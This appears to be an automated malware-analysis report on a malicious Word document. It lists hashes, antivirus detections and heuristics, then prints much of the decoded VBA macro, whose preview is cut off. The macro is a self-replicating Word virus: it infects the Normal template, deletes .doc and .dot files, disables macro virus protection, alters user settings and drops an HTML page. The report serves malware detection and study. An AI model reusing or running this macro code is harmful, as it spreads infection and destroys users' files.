Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8582394869807276…

MALICIOUS

Office (OLE)

168.5 KB Created: 2010-06-12 03:55:00 Authoring application: Microsoft Office Word First seen: 2019-01-31
MD5: f0daf0829ced0a1c201027a6fa5528ce SHA-1: e6387207f4644a9894f6c2fbb7bd42a37c60e158 SHA-256: 8582394869807276f993104b77dd410e9dcf29261bc0f7c0890c34d9d0a8c505
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a Microsoft Office document containing VBA macros, specifically a Document_Open macro, which is a common technique for executing malicious code upon opening. The macro attempts to disable virus protection and modify application settings, indicating an intent to establish persistence or evade detection. While the full script is truncated, the presence of the Document_Open macro and the ClamAV detections strongly suggest a malicious downloader or dropper.

Heuristics 4

  • ClamAV: Doc.Trojan.Marker-35 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Marker-35
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13290 bytes
SHA-256: af7a8d66aa3e8a59842984bf174c9b83e36fd9bdd18dee7df30d98bcbe0e7b4d
Detection
ClamAV: Doc.Trojan.Marker-13
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True


'Seline, Where are you dear
Const Marker = "<- this is a marker! by jonhehehe TheBest-versi212x"
Private Sub Document_Open()
Document_Close
End Sub
Private Sub Document_Close()
Dim nmod As Object
Dim isd As String
Dim DS, NTS, DI, NTI As Boolean
Dim Jon, Users, LogData, LogFile As String
On Error Resume Next
AddIns.Unload True
Kill Options.DefaultFilePath(8) & "\*.doc"
Kill Options.DefaultFilePath(8) & "\*.dot"
Options.VirusProtection = False
Application.UserName = "JonMMx 2000"
Application.UserInitials = "MeMeX"
Application.UserAddress = "JonMMx2000@yahoo.com"
Application.EnableCancelKey = wdCancelDisabled
GoSub InsertIon
If (System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", _
   "LogData in") = False) Then GoSub LoggingIn
If Weekday(Now()) = 1 Then GoSub ShowMe
GoTo Finish
InsertIon:
Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
Set nt = NormalTemplate.VBProject.VBComponents.Item(1)
DI = ad.CodeModule.Find(Marker, 1, 1, 10000, 10000)
NTI = nt.CodeModule.Find(Marker, 1, 1, 10000, 10000)
If (DI Xor NTI) And (ActiveDocument.SaveFormat = wdFormatDocument Or ActiveDocument.SaveFormat = wdFormatTemplate) Then
 If DI Then
   NTS = NormalTemplate.Saved
   Jon = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)
   For i = 1 To Len(Application.UserAddress)
    If (Mid(Application.UserAddress, i, 1) <> Chr(13)) Then
       If (Mid(Application.UserAddress, i, 1) <> Chr(10)) Then
          Users = Users & Mid(Application.UserAddress, i, 1)
       End If
    Else
       Users = Users & Chr(13) & " '"
    End If
   Next
   Jon = Jon & Chr(13) & _
         "' " & Format(Time, "hh:mm:sc AMPM-") & _
                Format(Date, "dddd, d mmm yyyy") & Chr(13) & _
         "' " & Application.UserName & Chr(13) & _
         "' " & Users & Chr(13) & Chr(13) & " "
   nt.CodeModule.DeleteLines 1, nt.CodeModule.CountOfLines
   nt.CodeModule.AddFromString Jon
   If NTS Then NormalTemplate.Save
 End If
 If NTI Then
    DS = ActiveDocument.Saved
    Jon = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)
    ad.CodeModule.DeleteLines 1, ad.CodeModule.CountOfLines
    ad.CodeModule.AddFromString Jon
    If DS Then ActiveDocument.Save
 End If
End If
Return
LoggingIn:
   System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogData in") = True
   GoSub ShowMe
Return
ShowMe:
Dim RootsyS As String
On Error Resume Next
 RootsyS = System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion", "SystemRoot")
 Open RootsyS & "\Jon.html" For Output As #1
 Print #1, "<Html><head><title>Welcome to Destroyer of the last Manillenium JontheBEST</title></head><Body><body bgcolor = '#FFF212' >"
 Print #1, "<center><p align='center'><font color='#800000'size='25'><strong>a Poet For My Dear Love</strong></font></p>"
 Print #1, "<p align='center'><font color='#000000' size='6'><strong><a href='mailto:iamwaiting@yahoo.com'>Dear Iin</a></strong></font> </p>"
 Print #1, "<font normal></center>To the very best that happen in mylife<p>"
 Print #1, "<p>Long ago and in my mind, I can see your face lonely and lost in time "
 Print #1, "<p>You were gone since yester month But the memories, never would dissapear"
 Print #1, "<p>I think of you, I THINK OF YOU.<p>"
 Print #1, "<p>Yes it's true I can pretend. But the paint of blue, keep beat me till the end."
 Print #1, "<p>Yes it's hard to understand. Why you leaving me and all we dreaming on "
 Print #1, "<p>Dear Iin, I close my eyes and see your face.  That's all I have to do to be with you. "
 Print #1, "<p>Dear Iin, altough I can not touch your face.  I know what I can do to be with you "
 Print #1, "<p>Long ago so faraway. But t
... (truncated)

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